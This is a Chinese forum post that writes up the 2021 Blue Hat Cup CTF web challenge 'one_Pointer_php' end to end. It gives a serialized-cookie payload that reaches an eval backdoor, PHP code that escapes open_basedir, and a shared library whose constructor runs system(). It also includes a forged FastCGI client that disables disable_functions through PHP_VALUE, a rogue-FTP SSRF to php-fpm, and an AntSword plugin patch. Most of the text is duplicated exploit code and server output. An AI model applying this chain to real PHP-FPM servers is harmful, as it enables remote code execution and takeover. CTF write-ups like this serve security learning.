-
-
[原创][2021 蓝帽杯]one_Pointer_php 复现
-
发表于: 2021-5-12 13:57 6371
-
题目给了两个源码:
user.php:
只是定义了一个user类而已
add_api.php:
发现有eval($_GET["backdoor"]);
是个后门文件。
需要绕过if($count[]=1)
但是问题来了,$count[]的值恒为1,想不到办法绕过
php数组溢出:
在 PHP 中,整型数是有一个范围的,对于32位的操作系统,最大的整型是2147483647,即2的31次方,最小为-2的31次方。如果给定的一个整数超出了整型(integer)的范围,将会被解释为浮点型(float)。同样如果执行的运算结果超出了整型(integer)范围,也会返回浮点型(float)。
测试一下:
运行结果:
发现报错了,我们可以利用这一点来进行绕过!
反序列化cookies->data
使其$count[++$user->count]=1;后$count[]=1
为false即可eval执行命令
构造反序列化payload:
修改一下网页cookies:
插入php探针:
成功绕过第一关:
看一下disable_functions:
过滤了各种命令执行函数,但是像 scandir、file_get_contents、file_put_contents 等目录和文件操作函数没有被过滤
直接插入后门,链接蚁剑:
(PS:蚁剑别忘记添加Cookie 为data=O%3A4%3A%22User%22%3A1%3A%7Bs%3A5%3A%22count%22%3Bi%3A9223372036854775806%3B%7D;
)
连接上发现只有html有读写权限
可以利用glob://
来嗅探目录
glob:// — 查找匹配的文件路径模式
写好丢进,起名为1.php
丢在html里,访问一下:
拿到目录,而且发现了flag
再利用如下,读取php.ini:
= =。其实到这里我是不知道该干啥的,反正读取到了异常.so
文件
问了师傅知道,是要加载它然后"胖"它
读取配置文件:
发现了nginx.conf
看一下
发现到了include /etc/nginx/sites-enabled/*;
然后去读取/etc/nginx/sites-enabled/default
发现在9001端口开有FastCGI服务,phpinfo中也表明该项目为FPM/FastCGI,可以通过未授权打FPM rce
发现 php-fpm 绑定在了本地9001端口上。
我们可以利用ssrf攻击本地的 php-fpm。我们可以通过在vps上搭建恶意的ftp,骗取目标主机将payload转发到自己的9001端口上,从而执行命令。
FTP 协议允许通过 TCP 发送二进制数据包,更准确的说是该协议的被动模式,即:如果一个客户端试图从FTP服务器上读取一个文件(或写入),服务器会通知客户端将文件的内容读取(或写)到一个特定的IP和端口上。而且,这里对这些IP和端口没有进行必要的限制。例如,服务器可以告诉客户端连接到自己的某一个端口,如果它愿意的话。
现在,如果我们传入?file=ftp://evil-server/file.txt&data=payload
,会发生以下情况:
首先通过 file_put_contents() 函数连接到我们的FTP服务器,并试图使用 file_put_contents() 把文件上传上去。但是我们搭建的恶意的ftp服务器将告诉它把文件发送到 127.0.0.1:9000。这样,我们就可以向目标主机本地的 PHP-FPM 发送一个任意的数据包,从而执行代码,造成SSRF了。
摘录自:http://www.hackdig.com/05/hack-342091.htm
写.so扩展
编译一下:
编译完后上传至/var/www/html
然后伪造FastCGI请求PHP—CGI
同样写在html目录
知识点补充:open_basedir的绕过
https://err0r.top/article/bluehat2021/
https://www.anquanke.com/post/id/186186#h3-3
访问拿到payload:
在/var/www/html
目录写文件file.php
利用之前生成的payload打
起恶意ftp服务 用如下脚本,在公网vps起
0.0 没有公网VPS(今天刚刚到期,BUU内部靶机打不动我也不知道为啥)
所以到此为止了。。。。QAQ
后来的也比较简单了,打穿了的话
这时已经突破open_basedir,可以任意访问目录了,同时也执行了恶意.so文件
可以执行恶意.so文件,那么直接弹个shell回来
看到大佬更新了wp 发现了新姿势可以日穿这道题:
大概就是修改一下蚁剑的插件,省去vps打脚本的过程
蚁剑里有通过攻击 PHP-FPM 绕过 Disable_Functions 的插件
就是这个:
但是插件中的payload使用了fsockopen()
,但是fsockopen()
被ban了,并且并且蚁剑的插件中没有 PHP-FPM 地址为 127.0.0.1:9001 的选项。
但是pfsockopen()
没有被ban 而且两者没有任何区别
将这两个文件下的fsockopen()
改成pfsockopen()
然后进入到 \core\php_fpm\index.js 中,在 vals 中将 127.0.0.1:9000 改为 127.0.0.1:9001 的选项:
修改完毕后,重启蚁剑,然后写一个shell.php放在/html中
用蚁剑链接这个shell.php,然后执行插件
成功后蚁剑会在 /var/www/html
目录上传一个 .antproxy.php
文件。我们创建副本,并将连接的 URL shell 脚本名字改为 .antproxy.php
来获得新的shell:
然后就可以日穿了。
✌!!!!!!!
<?php
class
User{
public $count;
}
?>
<?php
class
User{
public $count;
}
?>
<?php
include
"user.php"
;
if
($user
=
unserialize($_COOKIE[
"data"
])){
$count[
+
+
$user
-
>count]
=
1
;
if
($count[]
=
1
){
$user
-
>count
+
=
1
;
setcookie(
"data"
,serialize($user));
}
else
{
eval
($_GET[
"backdoor"
]);
}
}
else
{
$user
=
new User;
$user
-
>count
=
1
;
setcookie(
"data"
,serialize($user));
}
?>
<?php
include
"user.php"
;
if
($user
=
unserialize($_COOKIE[
"data"
])){
$count[
+
+
$user
-
>count]
=
1
;
if
($count[]
=
1
){
$user
-
>count
+
=
1
;
setcookie(
"data"
,serialize($user));
}
else
{
eval
($_GET[
"backdoor"
]);
}
}
else
{
$user
=
new User;
$user
-
>count
=
1
;
setcookie(
"data"
,serialize($user));
}
?>
<?php
$userconut
=
9223372036854775806
;
$count[
+
+
$userconut]
=
1
;
$count[]
=
1
;
print_r($count);
<?php
$userconut
=
9223372036854775806
;
$count[
+
+
$userconut]
=
1
;
$count[]
=
1
;
print_r($count);
O:
4
:
"User"
:
1
:{s:
5
:
"count"
;i:
9223372036854775806
;}
O:
4
:
"User"
:
1
:{s:
5
:
"count"
;i:
9223372036854775806
;}
http:
/
/
0a9083be
-
2d04
-
4508
-
acc0
-
b8361b22943b.node3.buuoj.cn
/
add_api.php?backdoor
=
phpinfo();
http:
/
/
0a9083be
-
2d04
-
4508
-
acc0
-
b8361b22943b.node3.buuoj.cn
/
add_api.php?backdoor
=
phpinfo();
<?php
printf(
'<b>open_basedir : %s </b><br />'
, ini_get(
'open_basedir'
));
$file_list
=
array();
/
/
normal files
$it
=
new DirectoryIterator(
"glob:///*"
);
foreach($it as $f) {
$file_list[]
=
$f
-
>__toString();
}
/
/
special files (starting with a dot(.))
$it
=
new DirectoryIterator(
"glob:///.*"
);
foreach($it as $f) {
$file_list[]
=
$f
-
>__toString();
}
sort($file_list);
foreach($file_list as $f){
echo
"{$f}<br/>"
;
}
?>
<?php
printf(
'<b>open_basedir : %s </b><br />'
, ini_get(
'open_basedir'
));
$file_list
=
array();
/
/
normal files
$it
=
new DirectoryIterator(
"glob:///*"
);
foreach($it as $f) {
$file_list[]
=
$f
-
>__toString();
}
/
/
special files (starting with a dot(.))
$it
=
new DirectoryIterator(
"glob:///.*"
);
foreach($it as $f) {
$file_list[]
=
$f
-
>__toString();
}
sort($file_list);
foreach($file_list as $f){
echo
"{$f}<br/>"
;
}
?>
<?php
mkdir(
'h3'
);
chdir(
'h3'
);
ini_set(
'open_basedir'
,
'..'
);
chdir(
'..'
);chdir(
'..'
);chdir(
'..'
);
chdir(
'..'
);chdir(
'..'
);chdir(
'..'
);chdir(
'..'
);
ini_set(
'open_basedir'
,
'/'
);
var_dump(file_get_contents(
"/usr/local/etc/php/php.ini"
));
<?php
mkdir(
'h3'
);
chdir(
'h3'
);
ini_set(
'open_basedir'
,
'..'
);
chdir(
'..'
);chdir(
'..'
);chdir(
'..'
);
chdir(
'..'
);chdir(
'..'
);chdir(
'..'
);chdir(
'..'
);
ini_set(
'open_basedir'
,
'/'
);
var_dump(file_get_contents(
"/usr/local/etc/php/php.ini"
));
<?php
mkdir(
'h3'
);
chdir(
'h3'
);
ini_set(
'open_basedir'
,
'..'
);
chdir(
'..'
);chdir(
'..'
);chdir(
'..'
);
chdir(
'..'
);chdir(
'..'
);chdir(
'..'
);chdir(
'..'
);
ini_set(
'open_basedir'
,
'/'
);
printf(
'<b>open_basedir : %s </b><br />'
, ini_get(
'open_basedir'
));
$file_list
=
array();
/
/
normal files
$it
=
new DirectoryIterator(
"glob:///etc/nginx/*"
);
foreach($it as $f) {
$file_list[]
=
$f
-
>__toString();
}
sort($file_list);
foreach($file_list as $f){
echo
"{$f}<br/>"
;
}
?>
<?php
mkdir(
'h3'
);
chdir(
'h3'
);
ini_set(
'open_basedir'
,
'..'
);
chdir(
'..'
);chdir(
'..'
);chdir(
'..'
);
chdir(
'..'
);chdir(
'..'
);chdir(
'..'
);chdir(
'..'
);
ini_set(
'open_basedir'
,
'/'
);
printf(
'<b>open_basedir : %s </b><br />'
, ini_get(
'open_basedir'
));
$file_list
=
array();
/
/
normal files
$it
=
new DirectoryIterator(
"glob:///etc/nginx/*"
);
foreach($it as $f) {
$file_list[]
=
$f
-
>__toString();
}
sort($file_list);
foreach($file_list as $f){
echo
"{$f}<br/>"
;
}
?>
string(
1482
) "user www
-
data;
worker_processes auto;
pid
/
run
/
nginx.pid;
include
/
etc
/
nginx
/
modules
-
enabled
/
*
.conf;
events {
worker_connections
768
;
# multi_accept on;
}
http {
##
# Basic Settings
##
sendfile on;
tcp_nopush on;
tcp_nodelay on;
keepalive_timeout
65
;
types_hash_max_size
2048
;
# server_tokens off;
# server_names_hash_bucket_size 64;
# server_name_in_redirect off;
include
/
etc
/
nginx
/
mime.types;
default_type application
/
octet
-
stream;
##
# SSL Settings
##
ssl_protocols TLSv1 TLSv1.
1
TLSv1.
2
;
# Dropping SSLv3, ref: POODLE
ssl_prefer_server_ciphers on;
##
# Logging Settings
##
access_log
/
var
/
log
/
nginx
/
access.log;
error_log
/
var
/
log
/
nginx
/
error.log;
##
# Gzip Settings
##
gzip on;
# gzip_vary on;
# gzip_proxied any;
# gzip_comp_level 6;
# gzip_buffers 16 8k;
# gzip_http_version 1.1;
# gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;
##
# Virtual Host Configs
##
include
/
etc
/
nginx
/
conf.d
/
*
.conf;
include
/
etc
/
nginx
/
sites
-
enabled
/
*
;
}
#mail {
# # See sample authentication script at:
# # http://wiki.nginx.org/ImapAuthenticateWithApachePhpScript
#
# # auth_http localhost/auth.php;
# # pop3_capabilities "TOP" "USER";
# # imap_capabilities "IMAP4rev1" "UIDPLUS";
#
# server {
# listen localhost:110;
# protocol pop3;
# proxy on;
# }
#
# server {
# listen localhost:143;
# protocol imap;
# proxy on;
# }
#}
"
string(
1482
) "user www
-
data;
worker_processes auto;
pid
/
run
/
nginx.pid;
include
/
etc
/
nginx
/
modules
-
enabled
/
*
.conf;
events {
worker_connections
768
;
# multi_accept on;
}
http {
##
# Basic Settings
##
sendfile on;
tcp_nopush on;
tcp_nodelay on;
keepalive_timeout
65
;
types_hash_max_size
2048
;
# server_tokens off;
# server_names_hash_bucket_size 64;
# server_name_in_redirect off;
include
/
etc
/
nginx
/
mime.types;
default_type application
/
octet
-
stream;
##
# SSL Settings
##
ssl_protocols TLSv1 TLSv1.
1
TLSv1.
2
;
# Dropping SSLv3, ref: POODLE
ssl_prefer_server_ciphers on;
##
# Logging Settings
##
access_log
/
var
/
log
/
nginx
/
access.log;
error_log
/
var
/
log
/
nginx
/
error.log;
##
# Gzip Settings
##
gzip on;
# gzip_vary on;
# gzip_proxied any;
# gzip_comp_level 6;
# gzip_buffers 16 8k;
# gzip_http_version 1.1;
# gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;
##
# Virtual Host Configs
##
include
/
etc
/
nginx
/
conf.d
/
*
.conf;
include
/
etc
/
nginx
/
sites
-
enabled
/
*
;
}
#mail {
# # See sample authentication script at:
# # http://wiki.nginx.org/ImapAuthenticateWithApachePhpScript
#
# # auth_http localhost/auth.php;
# # pop3_capabilities "TOP" "USER";
# # imap_capabilities "IMAP4rev1" "UIDPLUS";
#
# server {
# listen localhost:110;
# protocol pop3;
# proxy on;
# }
#
# server {
# listen localhost:143;
# protocol imap;
# proxy on;
# }
#}
"
# pass PHP scripts to FastCGI server
#
location ~ \.php$ {
root html;
fastcgi_pass
127.0
.
0.1
:
9001
;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME
/
var
/
www
/
html
/
$fastcgi_script_name;
include fastcgi_params;
}
# deny access to .htaccess files, if Apache's document root
# concurs with nginx's one
#
#location ~ /\.ht {
# deny all;
#}
}
# pass PHP scripts to FastCGI server
#
location ~ \.php$ {
root html;
fastcgi_pass
127.0
.
0.1
:
9001
;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME
/
var
/
www
/
html
/
$fastcgi_script_name;
include fastcgi_params;
}
# deny access to .htaccess files, if Apache's document root
# concurs with nginx's one
#
#location ~ /\.ht {
# deny all;
#}
}
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void preload (void){
system(
"ls / >/var/www/html/a"
);
}
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void preload (void){
system(
"ls / >/var/www/html/a"
);
}
gcc hpdoger.c
-
fPIC
-
shared
-
o hpdoger.so
gcc hpdoger.c
-
fPIC
-
shared
-
o hpdoger.so
<?php
/
*
*
*
Note : Code
is
released under the GNU LGPL
*
*
Please do
not
change the header of this
file
*
*
This library
is
free software; you can redistribute it
and
/
or
modify it under the terms of the GNU
*
Lesser General Public License as published by the Free Software Foundation; either version
2
of
*
the License,
or
(at your option)
any
later version.
*
*
This library
is
distributed
in
the hope that it will be useful, but WITHOUT
ANY
WARRANTY;
*
without even the implied warranty of MERCHANTABILITY
or
FITNESS FOR A PARTICULAR PURPOSE.
*
*
See the GNU Lesser General Public License
for
more details.
*
/
/
*
*
*
Handles communication with a FastCGI application
*
*
@author Pierrick Charron <pierrick@webstart.fr>
*
@version
1.0
*
/
class
FCGIClient
{
const VERSION_1
=
1
;
const BEGIN_REQUEST
=
1
;
const ABORT_REQUEST
=
2
;
const END_REQUEST
=
3
;
const PARAMS
=
4
;
const STDIN
=
5
;
const STDOUT
=
6
;
const STDERR
=
7
;
const DATA
=
8
;
const GET_VALUES
=
9
;
const GET_VALUES_RESULT
=
10
;
const UNKNOWN_TYPE
=
11
;
const MAXTYPE
=
self
::UNKNOWN_TYPE;
const RESPONDER
=
1
;
const AUTHORIZER
=
2
;
const
FILTER
=
3
;
const REQUEST_COMPLETE
=
0
;
const CANT_MPX_CONN
=
1
;
const OVERLOADED
=
2
;
const UNKNOWN_ROLE
=
3
;
const MAX_CONNS
=
'MAX_CONNS'
;
const MAX_REQS
=
'MAX_REQS'
;
const MPXS_CONNS
=
'MPXS_CONNS'
;
const HEADER_LEN
=
8
;
/
*
*
*
Socket
*
@var Resource
*
/
private $_sock
=
null;
/
*
*
*
Host
*
@var String
*
/
private $_host
=
null;
/
*
*
*
Port
*
@var Integer
*
/
private $_port
=
null;
/
*
*
*
Keep Alive
*
@var Boolean
*
/
private $_keepAlive
=
false;
/
*
*
*
Constructor
*
*
@param String $host Host of the FastCGI application
*
@param Integer $port Port of the FastCGI application
*
/
public function __construct($host, $port
=
9001
)
/
/
and
default value
for
port, just
for
unixdomain socket
{
$this
-
>_host
=
$host;
$this
-
>_port
=
$port;
}
/
*
*
*
Define whether
or
not
the FastCGI application should keep the connection
*
alive at the end of a request
*
*
@param Boolean $b true
if
the connection should stay alive, false otherwise
*
/
public function setKeepAlive($b)
{
$this
-
>_keepAlive
=
(boolean)$b;
if
(!$this
-
>_keepAlive && $this
-
>_sock) {
fclose($this
-
>_sock);
}
}
/
*
*
*
Get the keep alive status
*
*
@
return
Boolean true
if
the connection should stay alive, false otherwise
*
/
public function getKeepAlive()
{
return
$this
-
>_keepAlive;
}
/
*
*
*
Create a connection to the FastCGI application
*
/
private function connect()
{
if
(!$this
-
>_sock) {
/
/
$this
-
>_sock
=
fsockopen($this
-
>_host, $this
-
>_port, $errno, $errstr,
5
);
$this
-
>_sock
=
stream_socket_client($this
-
>_host, $errno, $errstr,
5
);
if
(!$this
-
>_sock) {
throw new Exception(
'Unable to connect to FastCGI application'
);
}
}
}
/
*
*
*
Build a FastCGI packet
*
*
@param Integer $
type
Type
of the packet
*
@param String $content Content of the packet
*
@param Integer $requestId RequestId
*
/
private function buildPacket($
type
, $content, $requestId
=
1
)
{
$clen
=
strlen($content);
return
chr
(
self
::VERSION_1)
/
*
version
*
/
.
chr
($
type
)
/
*
type
*
/
.
chr
(($requestId >>
8
) &
0xFF
)
/
*
requestIdB1
*
/
.
chr
($requestId &
0xFF
)
/
*
requestIdB0
*
/
.
chr
(($clen >>
8
) &
0xFF
)
/
*
contentLengthB1
*
/
.
chr
($clen &
0xFF
)
/
*
contentLengthB0
*
/
.
chr
(
0
)
/
*
paddingLength
*
/
.
chr
(
0
)
/
*
reserved
*
/
. $content;
/
*
content
*
/
}
/
*
*
*
Build an FastCGI Name value pair
*
*
@param String $name Name
*
@param String $value Value
*
@
return
String FastCGI Name value pair
*
/
private function buildNvpair($name, $value)
{
$nlen
=
strlen($name);
$vlen
=
strlen($value);
if
($nlen <
128
) {
/
*
nameLengthB0
*
/
$nvpair
=
chr
($nlen);
}
else
{
/
*
nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0
*
/
$nvpair
=
chr
(($nlen >>
24
) |
0x80
) .
chr
(($nlen >>
16
) &
0xFF
) .
chr
(($nlen >>
8
) &
0xFF
) .
chr
($nlen &
0xFF
);
}
if
($vlen <
128
) {
/
*
valueLengthB0
*
/
$nvpair .
=
chr
($vlen);
}
else
{
/
*
valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0
*
/
$nvpair .
=
chr
(($vlen >>
24
) |
0x80
) .
chr
(($vlen >>
16
) &
0xFF
) .
chr
(($vlen >>
8
) &
0xFF
) .
chr
($vlen &
0xFF
);
}
/
*
nameData & valueData
*
/
return
$nvpair . $name . $value;
}
/
*
*
*
Read a
set
of FastCGI Name value pairs
*
*
@param String $data Data containing the
set
of FastCGI NVPair
*
@
return
array of NVPair
*
/
private function readNvpair($data, $length
=
null)
{
$array
=
array();
if
($length
=
=
=
null) {
$length
=
strlen($data);
}
$p
=
0
;
while
($p !
=
$length) {
$nlen
=
ord
($data{$p
+
+
});
if
($nlen >
=
128
) {
$nlen
=
($nlen &
0x7F
<<
24
);
$nlen |
=
(
ord
($data{$p
+
+
}) <<
16
);
$nlen |
=
(
ord
($data{$p
+
+
}) <<
8
);
$nlen |
=
(
ord
($data{$p
+
+
}));
}
$vlen
=
ord
($data{$p
+
+
});
if
($vlen >
=
128
) {
$vlen
=
($nlen &
0x7F
<<
24
);
$vlen |
=
(
ord
($data{$p
+
+
}) <<
16
);
$vlen |
=
(
ord
($data{$p
+
+
}) <<
8
);
$vlen |
=
(
ord
($data{$p
+
+
}));
}
$array[substr($data, $p, $nlen)]
=
substr($data, $p
+
$nlen, $vlen);
$p
+
=
($nlen
+
$vlen);
}
return
$array;
}
/
*
*
*
Decode a FastCGI Packet
*
*
@param String $data String containing
all
the packet
*
@
return
array
*
/
private function decodePacketHeader($data)
{
$ret
=
array();
$ret[
'version'
]
=
ord
($data{
0
});
$ret[
'type'
]
=
ord
($data{
1
});
$ret[
'requestId'
]
=
(
ord
($data{
2
}) <<
8
)
+
ord
($data{
3
});
$ret[
'contentLength'
]
=
(
ord
($data{
4
}) <<
8
)
+
ord
($data{
5
});
$ret[
'paddingLength'
]
=
ord
($data{
6
});
$ret[
'reserved'
]
=
ord
($data{
7
});
return
$ret;
}
/
*
*
*
Read a FastCGI Packet
*
*
@
return
array
*
/
private function readPacket()
{
if
($packet
=
fread($this
-
>_sock,
self
::HEADER_LEN)) {
$resp
=
$this
-
>decodePacketHeader($packet);
$resp[
'content'
]
=
'';
if
($resp[
'contentLength'
]) {
$
len
=
$resp[
'contentLength'
];
while
($
len
&& $buf
=
fread($this
-
>_sock, $
len
)) {
$
len
-
=
strlen($buf);
$resp[
'content'
] .
=
$buf;
}
}
if
($resp[
'paddingLength'
]) {
$buf
=
fread($this
-
>_sock, $resp[
'paddingLength'
]);
}
return
$resp;
}
else
{
return
false;
}
}
/
*
*
*
Get Informations on the FastCGI application
*
*
@param array $requestedInfo information to retrieve
*
@
return
array
*
/
public function getValues(array $requestedInfo)
{
$this
-
>connect();
$request
=
'';
foreach ($requestedInfo as $info) {
$request .
=
$this
-
>buildNvpair($info, '');
}
fwrite($this
-
>_sock, $this
-
>buildPacket(
self
::GET_VALUES, $request,
0
));
$resp
=
$this
-
>readPacket();
if
($resp[
'type'
]
=
=
self
::GET_VALUES_RESULT) {
return
$this
-
>readNvpair($resp[
'content'
], $resp[
'length'
]);
}
else
{
throw new Exception(
'Unexpected response type, expecting GET_VALUES_RESULT'
);
}
}
/
*
*
*
Execute a request to the FastCGI application
*
*
@param array $params Array of parameters
*
@param String $stdin Content
*
@
return
String
*
/
public function request(array $params, $stdin)
{
$response
=
'';
/
/
$this
-
>connect();
$request
=
$this
-
>buildPacket(
self
::BEGIN_REQUEST,
chr
(
0
) .
chr
(
self
::RESPONDER) .
chr
((
int
) $this
-
>_keepAlive) . str_repeat(
chr
(
0
),
5
));
$paramsRequest
=
'';
foreach ($params as $key
=
> $value) {
$paramsRequest .
=
$this
-
>buildNvpair($key, $value);
}
if
($paramsRequest) {
$request .
=
$this
-
>buildPacket(
self
::PARAMS, $paramsRequest);
}
$request .
=
$this
-
>buildPacket(
self
::PARAMS, '');
if
($stdin) {
$request .
=
$this
-
>buildPacket(
self
::STDIN, $stdin);
}
$request .
=
$this
-
>buildPacket(
self
::STDIN, '');
echo(
'?file=ftp://ip:9999/&data='
.urlencode($request));
/
/
fwrite($this
-
>_sock, $request);
/
/
do {
/
/
$resp
=
$this
-
>readPacket();
/
/
if
($resp[
'type'
]
=
=
self
::STDOUT || $resp[
'type'
]
=
=
self
::STDERR) {
/
/
$response .
=
$resp[
'content'
];
/
/
}
/
/
}
while
($resp && $resp[
'type'
] !
=
self
::END_REQUEST);
/
/
var_dump($resp);
/
/
if
(!is_array($resp)) {
/
/
throw new Exception(
'Bad request'
);
/
/
}
/
/
switch (
ord
($resp[
'content'
]{
4
})) {
/
/
case
self
::CANT_MPX_CONN:
/
/
throw new Exception(
'This app can\'t multiplex [CANT_MPX_CONN]'
);
/
/
break
;
/
/
case
self
::OVERLOADED:
/
/
throw new Exception(
'New request rejected; too busy [OVERLOADED]'
);
/
/
break
;
/
/
case
self
::UNKNOWN_ROLE:
/
/
throw new Exception(
'Role value not known [UNKNOWN_ROLE]'
);
/
/
break
;
/
/
case
self
::REQUEST_COMPLETE:
/
/
return
$response;
/
/
}
}
}
?>
<?php
/
/
real exploit start here
/
/
if
(!isset($_REQUEST[
'cmd'
])) {
/
/
die(
"Check your input\n"
);
/
/
}
/
/
if
(!isset($_REQUEST[
'filepath'
])) {
/
/
$filepath
=
__FILE__;
/
/
}
else
{
/
/
$filepath
=
$_REQUEST[
'filepath'
];
/
/
}
$filepath
=
"/var/www/html/add_api.php"
;
$req
=
'/'
.basename($filepath);
$uri
=
$req .
'?'
.
'command=whoami'
;
$client
=
new FCGIClient(
"unix:///var/run/php-fpm.sock"
,
-
1
);
$code
=
"<?php system(\$_REQUEST['command']); phpinfo(); ?>"
;
/
/
php payload
-
-
Doesnt do anything
$php_value
=
"unserialize_callback_func = system\nextension_dir = /var/www/html\nextension = hpdoger.so\ndisable_classes = \ndisable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = "
;
/
/
extension_dir即为.so文件所在目录
$params
=
array(
'GATEWAY_INTERFACE'
=
>
'FastCGI/1.0'
,
'REQUEST_METHOD'
=
>
'POST'
,
'SCRIPT_FILENAME'
=
> $filepath,
'SCRIPT_NAME'
=
> $req,
'QUERY_STRING'
=
>
'command=whoami'
,
'REQUEST_URI'
=
> $uri,
'DOCUMENT_URI'
=
> $req,
#'DOCUMENT_ROOT' => '/',
'PHP_VALUE'
=
> $php_value,
'SERVER_SOFTWARE'
=
>
'80sec/wofeiwo'
,
'REMOTE_ADDR'
=
>
'127.0.0.1'
,
'REMOTE_PORT'
=
>
'9001'
,
/
/
找准服务端口
'SERVER_ADDR'
=
>
'127.0.0.1'
,
'SERVER_PORT'
=
>
'80'
,
'SERVER_NAME'
=
>
'localhost'
,
'SERVER_PROTOCOL'
=
>
'HTTP/1.1'
,
'CONTENT_LENGTH'
=
> strlen($code)
);
/
/
print_r($_REQUEST);
/
/
print_r($params);
/
/
echo
"Call: $uri\n\n"
;
echo $client
-
>request($params, $code).
"\n"
;
?>
<?php
/
*
*
*
Note : Code
is
released under the GNU LGPL
*
*
Please do
not
change the header of this
file
*
*
This library
is
free software; you can redistribute it
and
/
or
modify it under the terms of the GNU
*
Lesser General Public License as published by the Free Software Foundation; either version
2
of
*
the License,
or
(at your option)
any
later version.
*
*
This library
is
distributed
in
the hope that it will be useful, but WITHOUT
ANY
WARRANTY;
*
without even the implied warranty of MERCHANTABILITY
or
FITNESS FOR A PARTICULAR PURPOSE.
*
*
See the GNU Lesser General Public License
for
more details.
*
/
/
*
*
*
Handles communication with a FastCGI application
*
*
@author Pierrick Charron <pierrick@webstart.fr>
*
@version
1.0
*
/
class
FCGIClient
{
const VERSION_1
=
1
;
const BEGIN_REQUEST
=
1
;
const ABORT_REQUEST
=
2
;
const END_REQUEST
=
3
;
const PARAMS
=
4
;
const STDIN
=
5
;
const STDOUT
=
6
;
const STDERR
=
7
;
const DATA
=
8
;
const GET_VALUES
=
9
;
const GET_VALUES_RESULT
=
10
;
const UNKNOWN_TYPE
=
11
;
const MAXTYPE
=
self
::UNKNOWN_TYPE;
const RESPONDER
=
1
;
const AUTHORIZER
=
2
;
const
FILTER
=
3
;
const REQUEST_COMPLETE
=
0
;
const CANT_MPX_CONN
=
1
;
const OVERLOADED
=
2
;
const UNKNOWN_ROLE
=
3
;
const MAX_CONNS
=
'MAX_CONNS'
;
const MAX_REQS
=
'MAX_REQS'
;
const MPXS_CONNS
=
'MPXS_CONNS'
;
const HEADER_LEN
=
8
;
/
*
*
*
Socket
*
@var Resource
*
/
private $_sock
=
null;
/
*
*
*
Host
*
@var String
*
/
private $_host
=
null;
/
*
*
*
Port
*
@var Integer
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
赞赏
- 牧云·主机管理助手测评 6578
- [原创]JAVA安全—反射 812
- [原创]CISCN2022-东北赛区半决赛eztp解题思路 13033
- [XCTF]第四期个人能力认证考核个人wp 9654
- [原创]记录一次对某CMS漏洞挖掘 1449